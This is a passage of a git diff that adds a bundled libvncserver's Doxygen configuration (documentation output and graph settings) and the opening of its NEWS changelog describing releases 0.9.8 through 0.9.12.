http://en.wikipedia.org/wiki/Hue for more information. +# For instance the value 0 represents red, 60 is yellow, 120 is green, +# 180 is cyan, 240 is blue, 300 purple, and 360 is red again. +# The allowed range is 0 to 359. + +HTML_COLORSTYLE_HUE = 220 + +# The HTML_COLORSTYLE_SAT tag controls the purity (or saturation) of +# the colors in the HTML output. For a value of 0 the output will use +# grayscales only. A value of 255 will produce the most vivid colors. + +HTML_COLORSTYLE_SAT = 100 + +# The HTML_COLORSTYLE_GAMMA tag controls the gamma correction applied to +# the luminance component of the colors in the HTML output. Values below +# 100 gradually make the output lighter, whereas values above 100 make +# the output darker. The value divided by 100 is the actual gamma applied, +# so 80 represents a gamma of 0.8, The value 220 represents a gamma of 2.2, +# and 100 does not change the gamma. + +HTML_COLORSTYLE_GAMMA = 80 + +# If the HTML_TIMESTAMP tag is set to YES then the footer of each generated HTML +# page will contain the date and time when the page was generated. Setting +# this to NO can help when comparing the output of multiple runs. + +HTML_TIMESTAMP = YES + +# If the HTML_ALIGN_MEMBERS tag is set to YES, the members of classes, +# files or namespaces will be aligned in HTML using tables. If set to +# NO a bullet list will be used. + +HTML_ALIGN_MEMBERS = YES + +# If the HTML_DYNAMIC_SECTIONS tag is set to YES then the generated HTML +# documentation will contain sections that can be hidden and shown after the +# page has loaded. For this to work a browser that supports +# JavaScript and DHTML is required (for instance Mozilla 1.0+, Firefox +# Netscape 6.0+, Internet explorer 5.0+, Konqueror, or Safari). + +HTML_DYNAMIC_SECTIONS = YES + +# If the GENERATE_DOCSET tag is set to YES, additional index files +# will be generated that can be used as input for Apple's Xcode 3 +# integrated development environment, introduced with OSX 10.5 (Leopard). +# To create a documentation set, doxygen will generate a Makefile in the +# HTML output directory. Running make will produce the docset in that +# directory and running "make install" will install the docset in +# ~/Library/Developer/Shared/Documentation/DocSets so that Xcode will find +# it at startup. +# See http://developer.apple.com/tools/creatingdocsetswithdoxygen.html +# for more information. + +GENERATE_DOCSET = NO + +# When GENERATE_DOCSET tag is set to YES, this tag determines the name of the +# feed. A documentation feed provides an umbrella under which multiple +# documentation sets from a single provider (such as a company or product suite) +# can be grouped. + +DOCSET_FEEDNAME = "Doxygen generated docs" + +# When GENERATE_DOCSET tag is set to YES, this tag specifies a string that +# should uniquely identify the documentation set bundle. This should be a +# reverse domain-name style string, e.g. com.mycompany.MyDocSet. Doxygen +# will append .docset to the name. + +DOCSET_BUNDLE_ID = org.doxygen.Project + +# When GENERATE_PUBLISHER_ID tag specifies a string that should uniquely identify +# the documentation publisher. This should be a reverse domain-name style +# string, e.g. com.mycompany.MyDocSet.documentation. + +DOCSET_PUBLISHER_ID = org.doxygen.Publisher + +# The GENERATE_PUBLISHER_NAME tag identifies the documentation publisher. + +DOCSET_PUBLISHER_NAME = Publisher + +# If the GENERATE_HTMLHELP tag is set to YES, additional index files +# will be generated that can be used as input for tools like the +# Microsoft HTML help workshop to generate a compiled HTML help file (.chm) +# of the generated HTML documentation. + +GENERATE_HTMLHELP = NO + +# If the GENERATE_HTMLHELP tag is set to YES, the CHM_FILE tag can +# be used to specify the file name of the resulting .chm file. You +# can add a path in front of the file if the result should not be +# written to the html output directory. + +CHM_FILE = + +# If the GENERATE_HTMLHELP tag is set to YES, the HHC_LOCATION tag can +# be used to specify the location (absolute path including file name) of +# the HTML help compiler (hhc.exe). If non-empty doxygen will try to run +# the HTML help compiler on the generated index.hhp. + +HHC_LOCATION = + +# If the GENERATE_HTMLHELP tag is set to YES, the GENERATE_CHI flag +# controls if a separate .chi index file is generated (YES) or that +# it should be included in the master .chm file (NO). + +GENERATE_CHI = NO + +# If the GENERATE_HTMLHELP tag is set to YES, the CHM_INDEX_ENCODING +# is used to encode HtmlHelp index (hhk), content (hhc) and project file +# content. + +CHM_INDEX_ENCODING = + +# If the GENERATE_HTMLHELP tag is set to YES, the BINARY_TOC flag +# controls whether a binary table of contents is generated (YES) or a +# normal table of contents (NO) in the .chm file. + +BINARY_TOC = NO + +# The TOC_EXPAND flag can be set to YES to add extra items for group members +# to the contents of the HTML help documentation and to the tree view. + +TOC_EXPAND = NO + +# If the GENERATE_QHP tag is set to YES and both QHP_NAMESPACE and +# QHP_VIRTUAL_FOLDER are set, an additional index file will be generated +# that can be used as input for Qt's qhelpgenerator to generate a +# Qt Compressed Help (.qch) of the generated HTML documentation. + +GENERATE_QHP = NO + +# If the QHG_LOCATION tag is specified, the QCH_FILE tag can +# be used to specify the file name of the resulting .qch file. +# The path specified is relative to the HTML output folder. + +QCH_FILE = + +# The QHP_NAMESPACE tag specifies the namespace to use when generating +# Qt Help Project output. For more information please see +# http://doc.trolltech.com/qthelpproject.html#namespace + +QHP_NAMESPACE = org.doxygen.Project + +# The QHP_VIRTUAL_FOLDER tag specifies the namespace to use when generating +# Qt Help Project output. For more information please see +# http://doc.trolltech.com/qthelpproject.html#virtual-folders + +QHP_VIRTUAL_FOLDER = doc + +# If QHP_CUST_FILTER_NAME is set, it specifies the name of a custom filter to +# add. For more information please see +# http://doc.trolltech.com/qthelpproject.html#custom-filters + +QHP_CUST_FILTER_NAME = + +# The QHP_CUST_FILT_ATTRS tag specifies the list of the attributes of the +# custom filter to add. For more information please see +# +# Qt Help Project / Custom Filters. + +QHP_CUST_FILTER_ATTRS = + +# The QHP_SECT_FILTER_ATTRS tag specifies the list of the attributes this +# project's +# filter section matches. +# +# Qt Help Project / Filter Attributes. + +QHP_SECT_FILTER_ATTRS = + +# If the GENERATE_QHP tag is set to YES, the QHG_LOCATION tag can +# be used to specify the location of Qt's qhelpgenerator. +# If non-empty doxygen will try to run qhelpgenerator on the generated +# .qhp file. + +QHG_LOCATION = + +# If the GENERATE_ECLIPSEHELP tag is set to YES, additional index files +# will be generated, which together with the HTML files, form an Eclipse help +# plugin. To install this plugin and make it available under the help contents +# menu in Eclipse, the contents of the directory containing the HTML and XML +# files needs to be copied into the plugins directory of eclipse. The name of +# the directory within the plugins directory should be the same as +# the ECLIPSE_DOC_ID value. After copying Eclipse needs to be restarted before +# the help appears. + +GENERATE_ECLIPSEHELP = NO + +# A unique identifier for the eclipse help plugin. When installing the plugin +# the directory name containing the HTML and XML files should also have +# this name. + +ECLIPSE_DOC_ID = org.doxygen.Project + +# The DISABLE_INDEX tag can be used to turn on/off the condensed index at +# top of each HTML page. The value NO (the default) enables the index and +# the value YES disables it. + +DISABLE_INDEX = NO + +# This tag can be used to set the number of enum values (range [1..20]) +# that doxygen will group on one line in the generated HTML documentation. + +ENUM_VALUES_PER_LINE = 4 + +# The GENERATE_TREEVIEW tag is used to specify whether a tree-like index +# structure should be generated to display hierarchical information. +# If the tag value is set to YES, a side panel will be generated +# containing a tree-like index structure (just like the one that +# is generated for HTML Help). For this to work a browser that supports +# JavaScript, DHTML, CSS and frames is required (i.e. any modern browser). +# Windows users are probably better off using the HTML help feature. + +GENERATE_TREEVIEW = NO + +# By enabling USE_INLINE_TREES, doxygen will generate the Groups, Directories, +# and Class Hierarchy pages using a tree view instead of an ordered list. + +USE_INLINE_TREES = NO + +# If the treeview is enabled (see GENERATE_TREEVIEW) then this tag can be +# used to set the initial width (in pixels) of the frame in which the tree +# is shown. + +TREEVIEW_WIDTH = 250 + +# When the EXT_LINKS_IN_WINDOW option is set to YES doxygen will open +# links to external symbols imported via tag files in a separate window. + +EXT_LINKS_IN_WINDOW = NO + +# Use this tag to change the font size of Latex formulas included +# as images in the HTML documentation. The default is 10. Note that +# when you change the font size after a successful doxygen run you need +# to manually remove any form_*.png images from the HTML output directory +# to force them to be regenerated. + +FORMULA_FONTSIZE = 10 + +# Use the FORMULA_TRANPARENT tag to determine whether or not the images +# generated for formulas are transparent PNGs. Transparent PNGs are +# not supported properly for IE 6.0, but are supported on all modern browsers. +# Note that when changing this option you need to delete any form_*.png files +# in the HTML output before the changes have effect. + +FORMULA_TRANSPARENT = YES + +# When the SEARCHENGINE tag is enabled doxygen will generate a search box +# for the HTML output. The underlying search engine uses javascript +# and DHTML and should work on any modern browser. Note that when using +# HTML help (GENERATE_HTMLHELP), Qt help (GENERATE_QHP), or docsets +# (GENERATE_DOCSET) there is already a search function so this one should +# typically be disabled. For large projects the javascript based search engine +# can be slow, then enabling SERVER_BASED_SEARCH may provide a better solution. + +SEARCHENGINE = YES + +# When the SERVER_BASED_SEARCH tag is enabled the search engine will be +# implemented using a PHP enabled web server instead of at the web client +# using Javascript. Doxygen will generate the search PHP script and index +# file to put on the web server. The advantage of the server +# based approach is that it scales better to large projects and allows +# full text search. The disadvances is that it is more difficult to setup +# and does not have live searching capabilities. + +SERVER_BASED_SEARCH = NO + +#--------------------------------------------------------------------------- +# configuration options related to the LaTeX output +#--------------------------------------------------------------------------- + +# If the GENERATE_LATEX tag is set to YES (the default) Doxygen will +# generate Latex output. + +GENERATE_LATEX = NO + +# The LATEX_OUTPUT tag is used to specify where the LaTeX docs will be put. +# If a relative path is entered the value of OUTPUT_DIRECTORY will be +# put in front of it. If left blank `latex' will be used as the default path. + +LATEX_OUTPUT = latex + +# The LATEX_CMD_NAME tag can be used to specify the LaTeX command name to be +# invoked. If left blank `latex' will be used as the default command name. +# Note that when enabling USE_PDFLATEX this option is only used for +# generating bitmaps for formulas in the HTML output, but not in the +# Makefile that is written to the output directory. + +LATEX_CMD_NAME = latex + +# The MAKEINDEX_CMD_NAME tag can be used to specify the command name to +# generate index for LaTeX. If left blank `makeindex' will be used as the +# default command name. + +MAKEINDEX_CMD_NAME = makeindex + +# If the COMPACT_LATEX tag is set to YES Doxygen generates more compact +# LaTeX documents. This may be useful for small projects and may help to +# save some trees in general. + +COMPACT_LATEX = NO + +# The PAPER_TYPE tag can be used to set the paper type that is used +# by the printer. Possible values are: a4, a4wide, letter, legal and +# executive. If left blank a4wide will be used. + +PAPER_TYPE = a4wide + +# The EXTRA_PACKAGES tag can be to specify one or more names of LaTeX +# packages that should be included in the LaTeX output. + +EXTRA_PACKAGES = + +# The LATEX_HEADER tag can be used to specify a personal LaTeX header for +# the generated latex document. The header should contain everything until +# the first chapter. If it is left blank doxygen will generate a +# standard header. Notice: only use this tag if you know what you are doing! + +LATEX_HEADER = + +# If the PDF_HYPERLINKS tag is set to YES, the LaTeX that is generated +# is prepared for conversion to pdf (using ps2pdf). The pdf file will +# contain links (just like the HTML output) instead of page references +# This makes the output suitable for online browsing using a pdf viewer. + +PDF_HYPERLINKS = YES + +# If the USE_PDFLATEX tag is set to YES, pdflatex will be used instead of +# plain latex in the generated Makefile. Set this option to YES to get a +# higher quality PDF documentation. + +USE_PDFLATEX = YES + +# If the LATEX_BATCHMODE tag is set to YES, doxygen will add the \\batchmode. +# command to the generated LaTeX files. This will instruct LaTeX to keep +# running if errors occur, instead of asking the user for help. +# This option is also used when generating formulas in HTML. + +LATEX_BATCHMODE = NO + +# If LATEX_HIDE_INDICES is set to YES then doxygen will not +# include the index chapters (such as File Index, Compound Index, etc.) +# in the output. + +LATEX_HIDE_INDICES = NO + +# If LATEX_SOURCE_CODE is set to YES then doxygen will include +# source code with syntax highlighting in the LaTeX output. +# Note that which sources are shown also depends on other settings +# such as SOURCE_BROWSER. + +LATEX_SOURCE_CODE = NO + +#--------------------------------------------------------------------------- +# configuration options related to the RTF output +#--------------------------------------------------------------------------- + +# If the GENERATE_RTF tag is set to YES Doxygen will generate RTF output +# The RTF output is optimized for Word 97 and may not look very pretty with +# other RTF readers or editors. + +GENERATE_RTF = NO + +# The RTF_OUTPUT tag is used to specify where the RTF docs will be put. +# If a relative path is entered the value of OUTPUT_DIRECTORY will be +# put in front of it. If left blank `rtf' will be used as the default path. + +RTF_OUTPUT = rtf + +# If the COMPACT_RTF tag is set to YES Doxygen generates more compact +# RTF documents. This may be useful for small projects and may help to +# save some trees in general. + +COMPACT_RTF = NO + +# If the RTF_HYPERLINKS tag is set to YES, the RTF that is generated +# will contain hyperlink fields. The RTF file will +# contain links (just like the HTML output) instead of page references. +# This makes the output suitable for online browsing using WORD or other +# programs which support those fields. +# Note: wordpad (write) and others do not support links. + +RTF_HYPERLINKS = NO + +# Load stylesheet definitions from file. Syntax is similar to doxygen's +# config file, i.e. a series of assignments. You only have to provide +# replacements, missing definitions are set to their default value. + +RTF_STYLESHEET_FILE = + +# Set optional variables used in the generation of an rtf document. +# Syntax is similar to doxygen's config file. + +RTF_EXTENSIONS_FILE = + +#--------------------------------------------------------------------------- +# configuration options related to the man page output +#--------------------------------------------------------------------------- + +# If the GENERATE_MAN tag is set to YES (the default) Doxygen will +# generate man pages + +GENERATE_MAN = NO + +# The MAN_OUTPUT tag is used to specify where the man pages will be put. +# If a relative path is entered the value of OUTPUT_DIRECTORY will be +# put in front of it. If left blank `man' will be used as the default path. + +MAN_OUTPUT = man + +# The MAN_EXTENSION tag determines the extension that is added to +# the generated man pages (default is the subroutine's section .3) + +MAN_EXTENSION = .3 + +# If the MAN_LINKS tag is set to YES and Doxygen generates man output, +# then it will generate one additional man file for each entity +# documented in the real man page(s). These additional files +# only source the real man page, but without them the man command +# would be unable to find the correct page. The default is NO. + +MAN_LINKS = NO + +#--------------------------------------------------------------------------- +# configuration options related to the XML output +#--------------------------------------------------------------------------- + +# If the GENERATE_XML tag is set to YES Doxygen will +# generate an XML file that captures the structure of +# the code including all documentation. + +GENERATE_XML = NO + +# The XML_OUTPUT tag is used to specify where the XML pages will be put. +# If a relative path is entered the value of OUTPUT_DIRECTORY will be +# put in front of it. If left blank `xml' will be used as the default path. + +XML_OUTPUT = xml + +# The XML_SCHEMA tag can be used to specify an XML schema, +# which can be used by a validating XML parser to check the +# syntax of the XML files. + +XML_SCHEMA = + +# The XML_DTD tag can be used to specify an XML DTD, +# which can be used by a validating XML parser to check the +# syntax of the XML files. + +XML_DTD = + +# If the XML_PROGRAMLISTING tag is set to YES Doxygen will +# dump the program listings (including syntax highlighting +# and cross-referencing information) to the XML output. Note that +# enabling this will significantly increase the size of the XML output. + +XML_PROGRAMLISTING = YES + +#--------------------------------------------------------------------------- +# configuration options for the AutoGen Definitions output +#--------------------------------------------------------------------------- + +# If the GENERATE_AUTOGEN_DEF tag is set to YES Doxygen will +# generate an AutoGen Definitions (see autogen.sf.net) file +# that captures the structure of the code including all +# documentation. Note that this feature is still experimental +# and incomplete at the moment. + +GENERATE_AUTOGEN_DEF = NO + +#--------------------------------------------------------------------------- +# configuration options related to the Perl module output +#--------------------------------------------------------------------------- + +# If the GENERATE_PERLMOD tag is set to YES Doxygen will +# generate a Perl module file that captures the structure of +# the code including all documentation. Note that this +# feature is still experimental and incomplete at the +# moment. + +GENERATE_PERLMOD = NO + +# If the PERLMOD_LATEX tag is set to YES Doxygen will generate +# the necessary Makefile rules, Perl scripts and LaTeX code to be able +# to generate PDF and DVI output from the Perl module output. + +PERLMOD_LATEX = NO + +# If the PERLMOD_PRETTY tag is set to YES the Perl module output will be +# nicely formatted so it can be parsed by a human reader. This is useful +# if you want to understand what is going on. On the other hand, if this +# tag is set to NO the size of the Perl module output will be much smaller +# and Perl will parse it just the same. + +PERLMOD_PRETTY = YES + +# The names of the make variables in the generated doxyrules.make file +# are prefixed with the string contained in PERLMOD_MAKEVAR_PREFIX. +# This is useful so different doxyrules.make files included by the same +# Makefile don't overwrite each other's variables. + +PERLMOD_MAKEVAR_PREFIX = + +#--------------------------------------------------------------------------- +# Configuration options related to the preprocessor +#--------------------------------------------------------------------------- + +# If the ENABLE_PREPROCESSING tag is set to YES (the default) Doxygen will +# evaluate all C-preprocessor directives found in the sources and include +# files. + +ENABLE_PREPROCESSING = YES + +# If the MACRO_EXPANSION tag is set to YES Doxygen will expand all macro +# names in the source code. If set to NO (the default) only conditional +# compilation will be performed. Macro expansion can be done in a controlled +# way by setting EXPAND_ONLY_PREDEF to YES. + +MACRO_EXPANSION = NO + +# If the EXPAND_ONLY_PREDEF and MACRO_EXPANSION tags are both set to YES +# then the macro expansion is limited to the macros specified with the +# PREDEFINED and EXPAND_AS_DEFINED tags. + +EXPAND_ONLY_PREDEF = NO + +# If the SEARCH_INCLUDES tag is set to YES (the default) the includes files +# in the INCLUDE_PATH (see below) will be search if a #include is found. + +SEARCH_INCLUDES = YES + +# The INCLUDE_PATH tag can be used to specify one or more directories that +# contain include files that are not input files but should be processed by +# the preprocessor. + +INCLUDE_PATH = + +# You can use the INCLUDE_FILE_PATTERNS tag to specify one or more wildcard +# patterns (like *.h and *.hpp) to filter out the header-files in the +# directories. If left blank, the patterns specified with FILE_PATTERNS will +# be used. + +INCLUDE_FILE_PATTERNS = + +# The PREDEFINED tag can be used to specify one or more macro names that +# are defined before the preprocessor is started (similar to the -D option of +# gcc). The argument of the tag is a list of macros of the form: name +# or name=definition (no spaces). If the definition and the = are +# omitted =1 is assumed. To prevent a macro definition from being +# undefined via #undef or recursively expanded use the := operator +# instead of the = operator. + +PREDEFINED = + +# If the MACRO_EXPANSION and EXPAND_ONLY_PREDEF tags are set to YES then +# this tag can be used to specify a list of macro names that should be expanded. +# The macro definition that is found in the sources will be used. +# Use the PREDEFINED tag if you want to use a different macro definition. + +EXPAND_AS_DEFINED = + +# If the SKIP_FUNCTION_MACROS tag is set to YES (the default) then +# doxygen's preprocessor will remove all function-like macros that are alone +# on a line, have an all uppercase name, and do not end with a semicolon. Such +# function macros are typically used for boiler-plate code, and will confuse +# the parser if not removed. + +SKIP_FUNCTION_MACROS = YES + +#--------------------------------------------------------------------------- +# Configuration::additions related to external references +#--------------------------------------------------------------------------- + +# The TAGFILES option can be used to specify one or more tagfiles. +# Optionally an initial location of the external documentation +# can be added for each tagfile. The format of a tag file without +# this location is as follows: +# TAGFILES = file1 file2 ... +# Adding location for the tag files is done as follows: +# TAGFILES = file1=loc1 "file2 = loc2" ... +# where "loc1" and "loc2" can be relative or absolute paths or +# URLs. If a location is present for each tag, the installdox tool +# does not have to be run to correct the links. +# Note that each tag file must have a unique name +# (where the name does NOT include the path) +# If a tag file is not located in the directory in which doxygen +# is run, you must also specify the path to the tagfile here. + +TAGFILES = + +# When a file name is specified after GENERATE_TAGFILE, doxygen will create +# a tag file that is based on the input files it reads. + +GENERATE_TAGFILE = + +# If the ALLEXTERNALS tag is set to YES all external classes will be listed +# in the class index. If set to NO only the inherited external classes +# will be listed. + +ALLEXTERNALS = NO + +# If the EXTERNAL_GROUPS tag is set to YES all external groups will be listed +# in the modules index. If set to NO, only the current project's groups will +# be listed. + +EXTERNAL_GROUPS = YES + +# The PERL_PATH should be the absolute path and name of the perl script +# interpreter (i.e. the result of `which perl'). + +PERL_PATH = /usr/bin/perl + +#--------------------------------------------------------------------------- +# Configuration options related to the dot tool +#--------------------------------------------------------------------------- + +# If the CLASS_DIAGRAMS tag is set to YES (the default) Doxygen will +# generate a inheritance diagram (in HTML, RTF and LaTeX) for classes with base +# or super classes. Setting the tag to NO turns the diagrams off. Note that +# this option is superseded by the HAVE_DOT option below. This is only a +# fallback. It is recommended to install and use dot, since it yields more +# powerful graphs. + +CLASS_DIAGRAMS = NO + +# You can define message sequence charts within doxygen comments using the \msc +# command. Doxygen will then run the mscgen tool (see +# http://www.mcternan.me.uk/mscgen/) to produce the chart and insert it in the +# documentation. The MSCGEN_PATH tag allows you to specify the directory where +# the mscgen tool resides. If left empty the tool is assumed to be found in the +# default search path. + +MSCGEN_PATH = + +# If set to YES, the inheritance and collaboration graphs will hide +# inheritance and usage relations if the target is undocumented +# or is not a class. + +HIDE_UNDOC_RELATIONS = YES + +# If you set the HAVE_DOT tag to YES then doxygen will assume the dot tool is +# available from the path. This tool is part of Graphviz, a graph visualization +# toolkit from AT&T and Lucent Bell Labs. The other options in this section +# have no effect if this option is set to NO (the default) + +HAVE_DOT = YES + +# The DOT_NUM_THREADS specifies the number of dot invocations doxygen is +# allowed to run in parallel. When set to 0 (the default) doxygen will +# base this on the number of processors available in the system. You can set it +# explicitly to a value larger than 0 to get control over the balance +# between CPU load and processing speed. + +DOT_NUM_THREADS = 0 + +# By default doxygen will write a font called FreeSans.ttf to the output +# directory and reference it in all dot files that doxygen generates. This +# font does not include all possible unicode characters however, so when you need +# these (or just want a differently looking font) you can specify the font name +# using DOT_FONTNAME. You need need to make sure dot is able to find the font, +# which can be done by putting it in a standard location or by setting the +# DOTFONTPATH environment variable or by setting DOT_FONTPATH to the directory +# containing the font. + +DOT_FONTNAME = FreeSans.ttf + +# The DOT_FONTSIZE tag can be used to set the size of the font of dot graphs. +# The default size is 10pt. + +DOT_FONTSIZE = 10 + +# By default doxygen will tell dot to use the output directory to look for the +# FreeSans.ttf font (which doxygen will put there itself). If you specify a +# different font using DOT_FONTNAME you can set the path where dot +# can find it using this tag. + +DOT_FONTPATH = + +# If the CLASS_GRAPH and HAVE_DOT tags are set to YES then doxygen +# will generate a graph for each documented class showing the direct and +# indirect inheritance relations. Setting this tag to YES will force the +# the CLASS_DIAGRAMS tag to NO. + +CLASS_GRAPH = NO + +# If the COLLABORATION_GRAPH and HAVE_DOT tags are set to YES then doxygen +# will generate a graph for each documented class showing the direct and +# indirect implementation dependencies (inheritance, containment, and +# class references variables) of the class with other documented classes. + +COLLABORATION_GRAPH = NO + +# If the GROUP_GRAPHS and HAVE_DOT tags are set to YES then doxygen +# will generate a graph for groups, showing the direct groups dependencies + +GROUP_GRAPHS = YES + +# If the UML_LOOK tag is set to YES doxygen will generate inheritance and +# collaboration diagrams in a style similar to the OMG's Unified Modeling +# Language. + +UML_LOOK = NO + +# If set to YES, the inheritance and collaboration graphs will show the +# relations between templates and their instances. + +TEMPLATE_RELATIONS = NO + +# If the ENABLE_PREPROCESSING, SEARCH_INCLUDES, INCLUDE_GRAPH, and HAVE_DOT +# tags are set to YES then doxygen will generate a graph for each documented +# file showing the direct and indirect include dependencies of the file with +# other documented files. + +INCLUDE_GRAPH = YES + +# If the ENABLE_PREPROCESSING, SEARCH_INCLUDES, INCLUDED_BY_GRAPH, and +# HAVE_DOT tags are set to YES then doxygen will generate a graph for each +# documented header file showing the documented files that directly or +# indirectly include this file. + +INCLUDED_BY_GRAPH = YES + +# If the CALL_GRAPH and HAVE_DOT options are set to YES then +# doxygen will generate a call dependency graph for every global function +# or class method. Note that enabling this option will significantly increase +# the time of a run. So in most cases it will be better to enable call graphs +# for selected functions only using the \callgraph command. + +CALL_GRAPH = YES + +# If the CALLER_GRAPH and HAVE_DOT tags are set to YES then +# doxygen will generate a caller dependency graph for every global function +# or class method. Note that enabling this option will significantly increase +# the time of a run. So in most cases it will be better to enable caller +# graphs for selected functions only using the \callergraph command. + +CALLER_GRAPH = YES + +# If the GRAPHICAL_HIERARCHY and HAVE_DOT tags are set to YES then doxygen +# will graphical hierarchy of all classes instead of a textual one. + +GRAPHICAL_HIERARCHY = NO + +# If the DIRECTORY_GRAPH, SHOW_DIRECTORIES and HAVE_DOT tags are set to YES +# then doxygen will show the dependencies a directory has on other directories +# in a graphical way. The dependency relations are determined by the #include +# relations between the files in the directories. + +DIRECTORY_GRAPH = YES + +# The DOT_IMAGE_FORMAT tag can be used to set the image format of the images +# generated by dot. Possible values are png, jpg, or gif +# If left blank png will be used. + +DOT_IMAGE_FORMAT = png + +# The tag DOT_PATH can be used to specify the path where the dot tool can be +# found. If left blank, it is assumed the dot tool can be found in the path. + +DOT_PATH = + +# The DOTFILE_DIRS tag can be used to specify one or more directories that +# contain dot files that are included in the documentation (see the +# \dotfile command). + +DOTFILE_DIRS = + +# The DOT_GRAPH_MAX_NODES tag can be used to set the maximum number of +# nodes that will be shown in the graph. If the number of nodes in a graph +# becomes larger than this value, doxygen will truncate the graph, which is +# visualized by representing a node as a red box. Note that doxygen if the +# number of direct children of the root node in a graph is already larger than +# DOT_GRAPH_MAX_NODES then the graph will not be shown at all. Also note +# that the size of a graph can be further restricted by MAX_DOT_GRAPH_DEPTH. + +DOT_GRAPH_MAX_NODES = 50 + +# The MAX_DOT_GRAPH_DEPTH tag can be used to set the maximum depth of the +# graphs generated by dot. A depth value of 3 means that only nodes reachable +# from the root by following a path via at most 3 edges will be shown. Nodes +# that lay further from the root node will be omitted. Note that setting this +# option to 1 or 2 may greatly reduce the computation time needed for large +# code bases. Also note that the size of a graph can be further restricted by +# DOT_GRAPH_MAX_NODES. Using a depth of 0 means no depth restriction. + +MAX_DOT_GRAPH_DEPTH = 0 + +# Set the DOT_TRANSPARENT tag to YES to generate images with a transparent +# background. This is disabled by default, because dot on Windows does not +# seem to support this out of the box. Warning: Depending on the platform used, +# enabling this option may lead to badly anti-aliased labels on the edges of +# a graph (i.e. they become hard to read). + +DOT_TRANSPARENT = NO + +# Set the DOT_MULTI_TARGETS tag to YES allow dot to generate multiple output +# files in one run (i.e. multiple -o and -T options on the command line). This +# makes dot run faster, but since only newer versions of dot (>1.8.10) +# support this, this feature is disabled by default. + +DOT_MULTI_TARGETS = NO + +# If the GENERATE_LEGEND tag is set to YES (the default) Doxygen will +# generate a legend page explaining the meaning of the various boxes and +# arrows in the dot generated graphs. + +GENERATE_LEGEND = YES + +# If the DOT_CLEANUP tag is set to YES (the default) Doxygen will +# remove the intermediate dot files that are used to generate +# the various graphs. + +DOT_CLEANUP = YES diff --git a/3rdparty/libvncserver/NEWS b/3rdparty/libvncserver/NEWS new file mode 100644 index 0000000..6f41e7b --- /dev/null +++ b/3rdparty/libvncserver/NEWS @@ -0,0 +1,321 @@ +0.9.12 + - Overall changes: + * CMake now is the default build system, Autotools were removed. + * In addition to TravisCI, all commits are now build-tested by AppVeyorCI. + + - LibVNCServer/LibVNCClient: + * Numerous build fixes for Visual Studio compilers to the extent that + one can now _build_ the project with these. The needed changes for + successfully _running_ stuff will be implemented in 0.9.13. + * Fixed building for Android and added build instructions. + * Removed the unused PolarSSL wrapper. + * Updated the bundled noVNC to latest release 1.0.0. + * Allowed to use global LZO library instead of miniLZO. + + - LibVNCClient: + * Support for OpenSSL 1.1.x. + * Support for overriding the default rectangle decode handlers (with + hardware-accelerated ones for instance) thanks to Balazs Ludmany. + * vnc2mpg updated. + * Added support for X509 server certificate verification as part of the + handshake process thanks to Simon Waterman. + * Added a TRLE decoder thanks to Wiki Wang. + * Included Tight decoding optimizations from TurboVNC thanks to DRC. + * Ported the SDL viewer from SDL 1.2 to SDL 2.0. + * Numerous security fixes. + * Added support for custom auth handlers in order to support additional + security types. + + - LibVNCServer: + * Websockets rework to remove obsolete code thanks to Andreas Weigel. + * Ensured compatibility with gtk-vnc 0.7.0+ thanks to Michał Kępień. + * The built-in webserver now sends correct MIME type for Javascript. + * Numerous memory management issues fixed. + * Made the TightVNC-style file transfer more stable. + +0.9.11 + - Overall changes: + * LibVNCServer/LibVNCClient development now uses continous intregration, + provided by TravisCI. + + - LibVNCClient: + * Now initializes libgcrypt before use if the application did not do it. + Fixes a crash when connection to Mac hosts + (https://github.com/LibVNC/libvncserver/issues/45). + * Various fixes that result in more stable handling of malicious or broken + servers. + * Removed broken and unmaintained H264 decoding. + * Some documentation fixes. + * Added hooks to WriteToTLS() for optional protection by mutex. + + - LibVNCServer: + * Stability fixes for the WebSocket implementation. + * Replaced SHA1 implementation with the one from RFC 6234. + * The built-in HTTP server does not allow directory traversals anymore. + * The built-in HTTP now sends correct MIME types for CSS and SVG. + * Added support for systemd socket activation. + * Made it possible to get autoPort behavior with either ipv4 or ipv6 + disabled. + * Fixed starting of an onHold-client in threaded mode. + +0.9.10 + - Overall changes: + * Moved the whole project from sourceforge to https://libvnc.github.io/. + * Cleaned out the autotools build system which now uses autoreconf. + * Updated noVNC HTML5 client to latest version. + * Split out x11vnc sources into separate repository at + https://github.com/LibVNC/x11vnc + * Split out vncterm sources into separate repository at + https://github.com/LibVNC/vncterm + * Split out VisualNaCro sources into separate repository at + https://github.com/LibVNC/VisualNaCro + * Merged Debian patches. + + - LibVNCServer/LibVNCClient: + * Fixed some security-related buffer overflow cases. + * Added compatibility headers to make LibVNCServer/LibVNCClient build on native + Windows 8. + * Update LZO to version 2.07, fixing CVE-2014-4607. + + - LibVNCServer: + * Merged patches from KDE/krfb. + * Can now do IPv6 without IPv4. + * Fixed a use-after-free issue in scale.c. + +0.9.9 + - Overall changes: + * Added noVNC HTML5 VNC viewer (http://kanaka.github.com/noVNC/) connect possibility + to our http server. Pure JavaScript, no Java plugin required anymore! (But a + recent browser...) + * Added a GTK+ VNC viewer example. + + - LibVNCServer/LibVNCClient: + * Added support to build for Google Android. + * Complete IPv6 support in both LibVNCServer and LibVNCClient. + + - LibVNCServer: + * Split two event-loop related functions out of the rfbProcessEvents() mechanism. + This is required to be able to do proper event loop integration with Qt. Idea was + taken from Vino's libvncserver fork. + * Added TightPNG (http://wiki.qemu.org/VNC_Tight_PNG) encoding support. Like the + original Tight encoding, this still uses JPEG, but ZLIB encoded rects are encoded + with PNG here. + * Added suport for serving VNC sessions through WebSockets + (http://en.wikipedia.org/wiki/WebSocket), a web technology providing for multiplexing + bi-directional, full-duplex communications channels over a single TCP connection. + * Support connections from the Mac OS X built-in VNC client to LibVNCServer + instances running with no password. + * Replaced the Tight encoder with a TurboVNC one which is tremendously faster in most + cases, especially with high-color video or 3D workloads. + (http://www.virtualgl.org/pmwiki/uploads/About/tighttoturbo.pdf) + + - LibVNCClient: + * Added support to only listen for reverse connections on a specific IP address. + * Support for using OpenSSL instead of GnuTLS. This could come in handy on embedded + devices where only this TLS implementation is available. + * Added support to connect to UltraVNC Single Click servers. + +0.9.8.2 + - Fixed a regression that crept in with the Apple Remote Desktop support. + +0.9.8.1 + - Fixed an ABI compatibility issue. + +0.9.8 + - Overall changes: + * Automagically generated API documentation using doxygen. + * Added support for pkg-config. + * Fixed Mingw32 cross compilation. + * Fixed CMake build system. + + - LibVNCServer/LibVNCClient: + * All files used by _both_ LibVNCServer and LibVNCClient were put into + a 'common' directory, reducing code duplication. + * Implemented xvp VNC extension. + * Updated minilzo library used for Ultra encoding to ver 2.04. + According to the minilzo 